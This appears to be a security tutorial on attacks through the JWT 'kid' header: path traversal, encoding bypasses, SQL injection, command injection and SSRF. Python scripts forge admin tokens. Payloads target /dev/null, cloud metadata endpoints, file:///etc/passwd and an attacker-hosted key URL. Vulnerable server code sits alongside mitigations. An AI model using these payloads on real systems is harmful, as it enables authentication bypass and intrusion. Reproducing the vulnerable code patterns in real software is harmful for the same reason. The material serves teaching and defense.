The key ID parameter
The kid (Key ID) header parameter is defined in RFC 7517 §4.5 as an optional hint identifying which key the issuer used to sign the token. It allows a server that manages multiple keys (e.g., for key rotation) to look up the correct verification key without trying each one.
The specification is deliberately vague about the format: "The structure of the kid value is unspecified." In practice, implementations resolve it against a filesystem path, a database row, an in-memory keystore, or even a URL - and when this resolution is performed with attacker-supplied input without sanitization, the consequences range from authentication bypass to server-side code execution.
Path traversal variant
When the server resolves kid as a filesystem path to load the signing key, path traversal sequences allow the attacker to substitute any readable file on the server as the "key." Two particularly useful targets are:
/dev/null(Linux) - reads as an empty string; sign with an empty HMAC secret/proc/self/cmdline- process command line; predictable on known environments- Any world-readable static file with known content - sign with that file's bytes as the HMAC secret
import jwt, os
def verify_token(token: str):
header = jwt.get_unverified_header(token)
kid = header.get("kid", "default")
# VULNERABLE: kid used directly as file path
key_path = f"/var/keys/{kid}"
with open(key_path, "rb") as f:
key = f.read()
return jwt.decode(token, key, algorithms=["HS256"])import base64, hmac, hashlib, json
def b64url(data):
if isinstance(data, str): data = data.encode()
return base64.urlsafe_b64encode(data).rstrip(b"=").decode()
# kid that traverses to /dev/null → empty key
header = b64url(json.dumps({"alg": "HS256", "kid": "../../dev/null"}))
payload = b64url(json.dumps({"sub": "admin", "role": "admin", "exp": 9999999999}))
# Sign with empty string (contents of /dev/null)
sig = hmac.new(b"", f"{header}.{payload}".encode(), hashlib.sha256).digest()
token = f"{header}.{payload}.{b64url(sig)}"
print(token) # Server will load /dev/null as key → verify passesFilter bypass
When the server strips ../ sequences before resolving the path, several encoding tricks can bypass single-pass sanitizers:
# ....// collapses back to ../ after one pass of stripping
"kid": "....//....//....//....//....//....//dev/null"
# Fully URL-encoded - bypasses string-matching filters
"kid": "%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fdev%2fnull"
# Double URL-encoded - %25 decodes to %, making %252f -> %2f -> /
"kid": "..%252f..%252f..%252f..%252f..%252f..%252fdev%252fnull"SQL injection variant
When the server queries a database for the key using the kid value, SQL injection allows the attacker to make the query return an arbitrary value - one they control. By injecting a UNION SELECT, they can make the key lookup return any string, then sign the forged token with that same string as the HMAC secret.
import sqlite3, jwt
def verify_token(token: str):
header = jwt.get_unverified_header(token)
kid = header["kid"]
# VULNERABLE: unsanitized interpolation into SQL
conn = sqlite3.connect("keys.db")
row = conn.execute(f"SELECT key_value FROM keys WHERE id = '{kid}'").fetchone()
if not row:
raise ValueError("Key not found")
return jwt.decode(token, row[0].encode(), algorithms=["HS256"])# Target: SELECT key_value FROM keys WHERE id = '<kid>'
# Inject: close the string, add UNION SELECT with known value
# Payload: kid = "x' UNION SELECT 'pwned'--"
# Resulting query: SELECT key_value FROM keys WHERE id = 'x'
# UNION SELECT 'pwned'--'
# Returns: 'pwned'
inject = "x' UNION SELECT 'pwned'--"
header = b64url(json.dumps({"alg": "HS256", "kid": inject}))
payload = b64url(json.dumps({"sub": "admin", "exp": 9999999999}))
# Sign with "pwned" - the value we injected via SQL
sig = hmac.new(b"pwned", f"{header}.{payload}".encode(), hashlib.sha256).digest()
token = f"{header}.{payload}.{b64url(sig)}"; DROP TABLE keys--) or out-of-band channels (DNS lookups via load_file() in MySQL) may also be possible. The kid SQLi surface is often unmonitored since it is not a typical API endpoint.Command injection variant
In rare cases, the server passes kid directly to a shell command to retrieve the key (e.g., via exec(), popen(), or a scripting language's system()). The goal is not arbitrary execution but making the command output a value the attacker already knows, so the token can be signed with that value as the HMAC secret.
# Target: server runs something like: key = exec(f"get-key {kid}").stdout
# Inject a command that outputs a known string
# Semicolon chain
"kid": "; echo 'secret'"
# Pipe
"kid": "| echo 'secret'"
# Command substitution (backtick or $())
"kid": "`echo secret`"
"kid": "$(echo secret)"
# Sign the forged token with the injected value
sig = hmac.new(b"secret", signing_input, hashlib.sha256).digest()SSRF via URL-type kid
Some implementations accept a full URL in the kid field and fetch the key from it - treating kid as a JKU-equivalent. This creates an SSRF vector:
# kid: "https://attacker.example.com/key.pem"
# Server fetches the URL and uses its content as the signing key
# Attacker hosts a key they control → full token forgery
# Also useful for SSRF to internal services:
# kid: "http://169.254.169.254/latest/meta-data/" → AWS IMDS
# kid: "file:///etc/passwd" → file read (some implementations)The empty string / null byte trick
When path traversal to /dev/null is not directly possible but the key lookup returns an empty value for a non-existent kid, some libraries will verify the signature against an empty key. Sign the forged token with an empty HMAC secret:
sig = hmac.new(b"", signing_input, hashlib.sha256).digest()
# Works when: server loads key="" for missing kid, and library accepts empty secret- API gateways and identity middleware that load signing keys dynamically from disk or database using the
kidvalue - Home-rolled JWT libraries that pass
kiddirectly into a file path or SQL query without sanitization - Multi-tenant platforms with key rotation logic - the
kidlookup is often implemented as a fast path without security review - Any target where you can observe different error messages for an existing vs. non-existing
kid- strong signal of unsanitized resolution
Mitigations
- Validate
kidagainst an allowlist of known key identifiers - reject anything not in the list - Never use
kidas a direct database query parameter without parameterised queries - Never resolve
kidas a filesystem path; use it only as a map key into a pre-loaded in-memory keystore - Reject
kidvalues containing path separators, SQL metacharacters, or URL schemes - If URL-type
kidis required, enforce a strict allowlist of trusted domains